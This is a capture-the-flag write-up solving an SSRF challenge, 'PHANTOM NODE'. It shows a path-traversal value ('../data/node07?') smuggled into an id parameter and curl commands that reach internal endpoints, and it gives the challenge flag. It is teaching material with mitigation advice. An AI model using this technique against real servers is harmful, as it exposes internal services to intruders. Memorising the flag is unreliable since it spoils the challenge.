Home > Writeups > Raptor Weekly 2 - ECHELON Web 2 - 3.1 ; PHANTOM NODE

Raptor Weekly 2 - ECHELON Web 2 - 3.1 ; PHANTOM NODE

Identifying an anomalous node on a SECRET tier dashboard, exploiting an SSRF vulnerability in the node status endpoint via path traversal and query string termination, and reading an internal data response that seeds the next two challenges.

3.1 ; PHANTOM NODE

Challenge Description

The SECRET tier dashboard shows node status across the ECHELON network. One node is reporting anomalously.

URL: https://echelon.two-shoes.org/secret


Overview

The dashboard has a /node?id= endpoint that fetches status from an internal service by interpolating the id parameter directly into a URL path. This is a classic server-side request forgery (SSRF) vulnerability. Manipulating the id value traverses out of the expected path and reaches an internal data endpoint that is not accessible from outside the container. That endpoint returns the flag and serves the calibration report files needed for 3.2 ; FREQUENCY.


Step 1: Enumerate the Dashboard

The dashboard at /secret/dashboard shows eight nodes. NODE 07 reports ANOMALOUS with firmware ECP/1.2.7-MODIFIED and the detail integrity check failed. Clicking it sends GET /node?id=07 and returns a JSON status object. The request is server-side, the browser never contacts the internal service directly.


Step 2: Identify the SSRF

The response from /node?id=07 includes a detail field:

{"status": "ANOMALOUS", "signal": "41.2%", "detail": "integrity check failed ; see /data/node07"}

The hint see /data/node07 implies an internal path that is not directly reachable. The id parameter constructs an internal URL:

http://127.0.0.1:5001/node/{id}/status

If id contains path traversal characters the URL resolves to a different internal route.


Step 3: Exploit the Path Traversal

Inject ../data/node07? as the id value. The trailing ? terminates the path before /status is appended, turning it into a query string parameter that the internal server ignores:

id = ../data/node07?
URL = http://127.0.0.1:5001/node/../data/node07?/status
    -> resolves to http://127.0.0.1:5001/data/node07 (query: /status)
curl "https://echelon.two-shoes.org/node?id=../data/node07%3F"

Response:

{
  "node": "ECHELON.NODE.07",
  "type": "INCIDENT.DATA",
  "files": [
    {"name": "calibration_report_A.bin", "endpoint": "/data/node07/report_a"},
    {"name": "calibration_report_B.bin", "endpoint": "/data/node07/report_b"}
  ],
  "legacy_endpoint": "/api/v1/diagnostics",
  "flag": "ECHELON{ssrf_sees_what_you_d0nt}"
}

Step 4: Download the Calibration Reports

The file endpoints are on the internal service. Use the /node/data?path= proxy to retrieve them. The legacy_endpoint contains plaintext of one of the reports:

curl "https://echelon.two-shoes.org/node/data?path=/data/node07/report_a" -o calibration_report_A.bin
curl "https://echelon.two-shoes.org/node/data?path=/data/node07/report_b" -o calibration_report_B.bin
curl "https://echelon.two-shoes.org/api/v1/diagnostics" -o report_a_plain.txt

These three files are the input for 3.2 ; FREQUENCY.


Key Takeaways

SSRF arises when a server makes outbound requests based on user-supplied input without validation. Internal services that assume they are unreachable from the outside become accessible the moment any externally-facing service will fetch arbitrary URLs on a client's behalf. Mitigations include allowlisting internal URL schemes and hosts, blocking requests to loopback addresses, and never interpolating user input directly into a URL path. OWASP SSRF guide: https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29


Flag

ECHELON{ssrf_sees_what_you_d0nt}

< Back to All Writeups